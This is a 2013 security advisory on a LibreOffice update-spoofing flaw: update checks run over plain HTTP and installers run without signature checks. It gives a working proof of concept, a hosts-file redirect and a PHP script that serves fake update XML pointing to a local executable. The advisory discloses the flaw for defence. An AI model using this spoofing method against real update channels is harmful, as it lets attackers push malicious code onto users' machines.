LibreOffice 4.0.1.2 Update Spoofing

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[waraxe-2013-SA#099] - Update Spoofing Vulnerability in LibreOffice 4.0.1.2  
===============================================================================  
  
Author: Janek Vind "waraxe"  
Date: 21. March 2013  
Location: Estonia, Tartu  
Web: http://www.waraxe.us/advisory-99.html  
  
  
Description of vulnerable software:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
LibreOffice is a free and open source office suite, developed by The Document  
Foundation. It is descended from OpenOffice.org, from which it was forked in 2010.  
The LibreOffice suite includes a word processor, spreadsheet, graphics editor,  
slideshow creator, database and math formula writer.  
  
http://www.libreoffice.org/  
  
Affected are versions 3.5.1 to newest 4.0.1.2, older versions were not tested.  
  
###############################################################################  
1. Update Spoofing Vulnerability  
###############################################################################  
  
It appears, that current version of LibreOffice contains security vulnerability  
in update mechanism, which can be exploited by malicious people to conduct  
spoofing attacks.  
  
When checking for updates, LibreOffice issues GET request over HTTP:  
  
GET /check.php HTTP/1.1  
Connection: TE, close  
TE: trailers  
Host: update.libreoffice.org  
Accept-Encoding: gzip  
Pragma: no-cache  
Accept-Language: en-US  
User-Agent: LibreOffice 4.0 .0.3 (7545bee9c2a0782548772a21bc84a9dcc583b89;  
Windows; x86; BundledLanguages=en-US af am ar as ast be bg bn bn-IN bo ...)  
  
  
Server at "update.libreoffice.org" responds with XML data:  
  
<?xml version="1.0" encoding="utf-8"?>  
<inst:description xmlns:inst="http://update.libreoffice.org/description">  
<inst:id>LibreOffice 4.0.1</inst:id>  
<inst:gitid>84102822e3d61eb989ddd325abf1ac077904985</inst:gitid>  
<inst:os>Windows</inst:os>  
<inst:arch>x86</inst:arch>  
<inst:version>4.0.1</inst:version>  
<inst:buildid>9999</inst:buildid>  
<inst:update type="text/html" src="http://www.libreoffice.org/download/" />  
</inst:description>  
  
  
LibreOffice user can click "Download" and "Install" buttons and LibreOffice  
will download and install the update.  
  
Such update mechanism contains two security flaws:  
  
1. Update check is done over unencrypted HTTP channel. Malicious third party  
is able to conduct Man-in-the-Middle (MitM) attacks and spoof server response.  
In this way it is possible to instruct LibreOffice to download malicious update.  
  
2. LibreOffice will execute downloaded update without digital signature  
verification.  
  
Testing: tests were done using Windows 7, Apache and PHP. Steps:  
  
1. modify "windows/system32/drivers/etc/hosts" file in order to emulate  
DNS spoofing: 127.0.0.1 update.libreoffice.org  
  
2. create php file "check.php" to the webserver main directory:  
  
<?php  
echo '<?xml version="1.0" encoding="utf-8"?>  
<inst:description xmlns:inst="http://update.libreoffice.org/description">  
<inst:id>LibreOffice 5.6.7</inst:id>  
<inst:gitid>123456789</inst:gitid>  
<inst:os>Windows</inst:os>  
<inst:arch>x86</inst:arch>  
<inst:version>5.6.7</inst:version>  
<inst:buildid>9999</inst:buildid>  
<inst:update type="application/octet-stream" src="http://localhost/notepad.exe" />  
</inst:description>';  
?>  
  
3. Place "notepad.exe" file to the webserver main directory.  
  
4. Open LibreOffice Writer -> Help -> Check For Updates  
  
Response: LibreOffice 5.6.7 is available.  
  
5. Press "Download" button. Successful download ends with response:  
  
Download of LibreOffice 5.6.7 completed. Ready for installation.  
  
6. Press "Install" button, choose "Yes" and after that Notepad will be opened.  
  
  
  
Contact:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
[email protected]  
Janek Vind "waraxe"  
  
Waraxe forum: http://www.waraxe.us/forums.html  
Personal homepage: http://www.janekvind.com/  
Random project: http://albumnow.com/  
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